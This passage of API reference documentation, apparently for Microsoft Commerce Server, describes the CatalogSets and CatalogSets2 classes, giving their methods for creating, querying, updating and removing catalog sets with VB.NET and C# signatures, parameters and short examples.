See Also

CatalogSets Class


CatalogSets.GetCatalogSetIDForUser Method (PIA)

Use this method to return the CatalogSetID for a specific user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
PublicFunction GetCatalogSetIDForUser(
  objProfileService As Object,
  user_id As String,
  defaultCatalogSetID As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public object GetCatalogSetIDForUser(
  object objProfileService,
  string user_id,
  string defaultCatalogSetID
);

Parameters

[Visual Basic .NET]
objProfileService
A ProfileService object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.
[C#]
objProfileService
A ProfileService object.
user_id
A string that contains the user ID.
defaultCatalogSetID
A string that contains the default catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the CatalogSetID.

[C#] This method returns an object containing the catalog set ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the user defined in the objProfileService parameter has a catalog set associated with it, this method returns that ID; if not, it returns the catalog set associated with the user organization. If this catalog set does not exist, it returns the value supplied in the defaultCatalogSetID parameter.

[Visual Basic .NET]

Example

strCatalogSetID = myCatalogSets.GetCatalogSetIDForUser( _
  oProfileService, user_id, defaultCatalogSetID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class

ProfileService Object


CatalogSets.GetCatalogSetInfo Method (PIA)

Use this method to return the basic properties for a catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
PublicFunction GetCatalogSetInfo(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogSetInfo(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID, a GUID.
[C#]
CatalogSetID
A string that contains the catalog set ID, a GUID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the basic properties for a catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a forward-only Recordset object with a single row and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, maximum of 255 characters | None
CatalogSetDescription | String, maximum of 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
[Visual Basic .NET]

Example

rsMyCatalogSetInfo = myCatalogSets.GetCatalogSetInfo(strCatalogSetID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogSets Method (PIA)

Use this method to return a list of all catalog sets.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogSets() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogSets();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of all catalog sets.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the list of catalog sets.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a forward-only Recordset object with a row for each catalog set and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, 255 characters | None
CatalogSetDescription | String, 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
[Visual Basic .NET]

Example

rsMyCatalogSets = myCatalogSets.GetCatalogSets()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogsForUser Method (PIA)

Use this method to return the list of catalogs that have been assigned to a particular user through the catalog set specified in their profile.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
PublicFunction GetCatalogsForUser(
  objProfileService As Object,
  user_id As String,
  defaultCatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogsForUser(
  object objProfileService,
  string user_id,
  string defaultCatalogSetID
);

Parameters

[Visual Basic .NET]
objProfileService
A profile service object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.
[C#]
objProfileService
A profile service object
user_id
A string that contains the user ID.
defaultCatalogSetID
A string that contains the default catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of catalogs.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the list of catalogs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a Recordset object with a row for each catalog in the catalog set associated with the user profile in the user_id parameter and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None

If the user profile object passed to this method has not been initialized, the object will return the default catalog set.

[Visual Basic .NET]

Example

objProfileService = New ProfileService()
objProfileService.Initialize( _
  sProfileServiceConnectionString, "Profile Definitions")
rsCatalogSet = myCatalogSets.GetCatalogsForUser( _
  objProfileService, user_id, defaultCatalogSetID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogsInCatalogSet Method (PIA)

Use this method to return the catalogs that are included in a particular catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
PublicFunction GetCatalogsInCatalogSet(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogsInCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID.
[C#]
CatalogSetID
A string that contains the catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of catalogs.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the catalogs in the catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns (indirectly) a Recordset object with a row for each catalog in the catalog set and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None
[Visual Basic .NET]

Example

rsCatalogNames = myCatalogSets.GetCatalogsInCatalogSet(CatalogSetID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.GetCatalogsNotInCatalogSet Method (PIA)

Use this method to return the catalogs that are not included in a specified catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogsNotInCatalogSet(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public_Recordset GetCatalogsNotInCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID.
[C#]
CatalogSetID
A string that contains the catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object.

[C#] This method returns an ADODB26Lib._Recordset interface to the Recordset object that will contain the desired catalogs..

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Recordset object returned by this method has a single 128 character field, named CatalogName.

[Visual Basic .NET]

Example

'strCatalogSetID is the GUID of a catalog set
rsCatalogs = myCatalogSets.GetCatalogsNotInCatalogSet(strCatalogSetID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.Initialize Method (PIA)

Use this method to initialize a new CatalogSet object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
PublicSub Initialize(
  CatalogConnectionString As String,
  TransactionConfigConnectionString As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Initialize(
  string CatalogConnectionString,
  string TxConfigConnString
);

Parameters

[Visual Basic .NET]
CatalogConnectionString
A String that contains the catalog connection string.

TransactionConfigConnectionStringA String that contains the transaction configuration connection string. Not used.

[C#]
CatalogConnectionString
A string that contains the catalog connection string.
TxConfigConnString
A string that contains the transaction configuration connection string. Not used

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • The TransactionConfigConnectionString parameter is required, but not used. The contents of the String are ignored. This parameter is reserved for future use.
[Visual Basic .NET]

Example

myCatalogSets.Initialize(strCatalogConnection, "")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

[Visual Basic .NET] CatalogSets Class


CatalogSets.RemoveCatalogFromCatalogSets Method (PIA)

Use this method to remove a catalog from all catalog sets.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
PublicSub RemoveCatalogFromCatalogSets(
  CatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveCatalogFromCatalogSets(
  string CatalogName
);

Parameters

[Visual Basic .NET]
CatalogName
A String that contains the catalog name to be removed.
[C#]
CatalogName
A string that contains the catalog name to be removed.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method should be called whenever a catalog is deleted, before or after calling the CatalogManager.DeleteCatalog or ProductCatalog.DeleteCustomCatalog methods.

[Visual Basic .NET]

Example

MyCatalogManager.DeleteCatalog("Shoes")
myCatalogSets.RemoveCatalogFromCatalogSets("Shoes")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets.UpdateCatalogSet Method (PIA)

Use this method to update an existing catalog set and its basic properties.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
PublicSub UpdateCatalogSet(
  CatalogSetID As String,
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void UpdateCatalogSet(
  string CatalogSetID,
  string CatalogSetName,
  string CatalogSetDescription,
  bool bWildCard,
  _Recordset CatalogNamesRS
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID (GUID).
CatalogSetName
A String that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
A String that contains the catalog set description.
bWildCard
A Boolean that indicates which catalogs to use. A value of True indicates use all catalogs. A value of False indicates use the catalogs contained in the CatalogNamesRS parameter.
CatalogNamesRS
The _Recordset interface of a Recordset object that contains the catalog names.
[C#]
CatalogSetID
A string that contains the catalog set ID (GUID).
CatalogSetName
A string that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
A string that contains the catalog set description.
bWildCard
A bool that indicates which catalogs to use. A value of true indicates use all catalogs. A value of false indicates use the catalogs contained in the CatalogNamesRS parameter.
CatalogNamesRS
An ADODB26Lib._Recordset interface to the Recordset object that contains the catalog names. If bWildCard is false, this parameter is ignored and can be set to Type.Missing.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

'strCatalogSetID is the GUID for the CatalogSet.
'rsCatalogNames is a Recordset as described in the parameter description.
myCatalogSets.UpdateCatalogSet( _
  strCatalogSetID, "Clothing", "All soft goods", _
  False, rsCatalogNames)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets Class


CatalogSets2 Class (PIA)

Use this object to work with catalog sets in the Product Catalog System. Catalog sets allow you to present different collections of catalogs to different users and organizations.

Methods

Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Removes a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.

Properties

Property | Type | Description
OrganizationObjectCatalogSetKey | String | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | String | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | String | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | String | Stores the name of the organization object. This property is read/write.
UserObjectCategoryName | String | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | String | Stores the join key for the user object. This property is read/write.
UserObjectName | String | Stores the name of the user object. This property is read/write.
UserObjectOrganizationKey | String | Stores the organization key for the user object. This property is read/write.

Remarks

This object is similar to the CatalogSets object. It has the same methods, but adds new properties for the profile schema keys. The default values of the properties are the same as the fixed values used by the CatalogSets object.

The CatalogSets2 object properties are useful if you have changed the ProfileSchema (from the default shipped version) or if you use Active Directory. In these cases, the UserObject-OrganizationObject table join key is different than the default one.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)


CatalogSets2 Methods (PIA)

Methods

Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Removes a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.


CatalogSets2.CreateCatalogSet Method (PIA)

Use this method to create a new catalog set in the catalog database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
Public Function CreateCatalogSet(
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
) As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public string CreateCatalogSet(
  string CatalogSetName,
  string CatalogSetDescription,
  bool bWildCard,
  _Recordset CatalogNamesRS
);

Parameters

[Visual Basic .NET]
CatalogSetName
A String that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
A String that contains a description of the new catalog set.
bWildCard
A Boolean that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
The _Recordset interface of a Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.
[C#]
CatalogSetName
A string that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription
A string that contains a description of the new catalog set.
bWildCard
A bool that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS
An ActiveX Data Objects (ADO) ADODB26Lib._Recordset interface to a Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is true, then this parameter will be ignored and a value of Type.Missing can be used

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the ID of the new catalog set.

[C#] This method returns a string containing the automatically generated ID (GUID) of the new catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.DeleteCatalogSet Method (PIA)

Use this method to delete an existing catalog set from the catalog database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
PublicSub DeleteCatalogSet(
  CatalogSetID As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the ID of the catalog set to be deleted.
[C#]
CatalogSetID
A string that contains the GUID of the catalog set to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Deleting a catalog set does not delete the catalog set ID. Referencing an invalid catalog set ID will prevent access to the solution sites.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogs Method (PIA)

Use this method to return a list of all catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogs() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogs();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of all catalogs.

[C#] This method returns a _Recordset interface to a Recordset object that will contain catalogs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Recordset object returned by this method has a single 128-character field, named CatalogName.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogSetIDForUser Method (PIA)

Use this method to return the CatalogSetID for a specific user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function GetCatalogSetIDForUser(
  objProfileService As Object,
  user_id As String,
  defaultCatalogSetID As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public object GetCatalogSetIDForUser(
  object objProfileService,
  string user_id,
  string defaultCatalogSetID
);

Parameters

[Visual Basic .NET]
objProfileService
A ProfileService object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.
[C#]
objProfileService
A ProfileService object.
user_id
A string that contains the user ID.
defaultCatalogSetID
A string that contains the default catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the CatalogSetID.

[C#] This method returns an object containing the catalog set ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the user defined in the objProfileService parameter has a catalog set associated with it, this method returns that ID; if not, it returns the catalog set associated with the user organization. If this catalog set does not exist, it returns the value supplied in the defaultCatalogSetID parameter.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogSetInfo Method (PIA)

Use this method to return the basic properties for a catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogSetInfo(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogSetInfo(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID, a GUID.
[C#]
CatalogSetID
A string that contains the catalog set ID, a GUID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the basic properties for a catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a forward-only Recordset object with a single row and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, maximum of 255 characters | None
CatalogSetDescription | String, maximum of 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogSets Method (PIA)

Use this method to return a list of all catalog sets.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogSets() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogSets();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of all catalog sets.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the list of catalog sets.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a forward-only Recordset object with a row for each catalog set and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, 255 characters | None
CatalogSetDescription | String, 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogsForUser Method (PIA)

Use this method to return the list of catalogs that have been assigned to a particular user through the catalog set specified in their profile.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogsForUser(
  objProfileService As Object,
  user_id As String,
  defaultCatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogsForUser(
  object objProfileService,
  string user_id,
  string defaultCatalogSetID
);

Parameters

[Visual Basic .NET]
objProfileService
A profile service object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.
[C#]
objProfileService
A profile service object
user_id
A string that contains the user ID.
defaultCatalogSetID
A string that contains the default catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of catalogs.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the list of catalogs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a Recordset object with a row for each catalog in the catalog set associated with the user profile in the user_id parameter and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None

If the user profile object passed to this method has not been initialized, the object will return the default catalog set.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogsInCatalogSet Method (PIA)

Use this method to return the catalogs that are included in a particular catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogsInCatalogSet(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogsInCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID.
[C#]
CatalogSetID
A string that contains the catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains the list of catalogs.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object that will contain the catalogs in the catalog set.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns a Recordset object with a row for each catalog in the catalog set and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table. | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table. | String maximum of 128 characters | None

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.GetCatalogsNotInCatalogSet Method (PIA)

Use this method to return the catalogs that are not included in a specified catalog set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogsNotInCatalogSet(
  CatalogSetID As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public_Recordset GetCatalogsNotInCatalogSet(
  string CatalogSetID
);

Parameters

[Visual Basic .NET]
CatalogSetID
A String that contains the catalog set ID.
[C#]
CatalogSetID
A string that contains the catalog set ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object.

[C#] This method returns an ADODB26Lib._Recordset interface to the Recordset object that will contain the desired catalogs.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Recordset object returned by this method has a single 128-character field, named CatalogName.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.Initialize Method (PIA)

Use this method to initialize a new CatalogSet object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub Initialize(
  CatalogConnectionString As String,
  TransactionConfigConnectionString As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Initialize(
  string CatalogConnectionString,
  string TxConfigConnString
);

Parameters

[Visual Basic .NET]
CatalogConnectionString
A String that contains the catalog connection string.
TransactionConfigConnectionString
A String that contains the transaction configuration connection string. Not used.
[C#]
CatalogConnectionString
A string that contains the catalog connection string.
TxConfigConnString
A string that contains the transaction configuration connection string. Not used

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Note

  • The TransactionConfigConnectionString parameter is required, but not used. The contents of the String are ignored. This parameter is reserved for future use.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cs_ctlgsets (in cs_ctlgsets.dll)

See Also

CatalogSets2 Class


CatalogSets2.RemoveCatalogFromCatalogSets Method (PIA)

Use this method to remove a catalog from all catalog sets.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveCatalogFromCatalogSets(
  CatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveCatalogFromCatalogSets(
  string CatalogName
);

Parameters

[Visual Basic .NET]
CatalogName
A String that contains the catalog name to be removed.
[C#]
CatalogName
A string that contains the catalog name to be removed.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

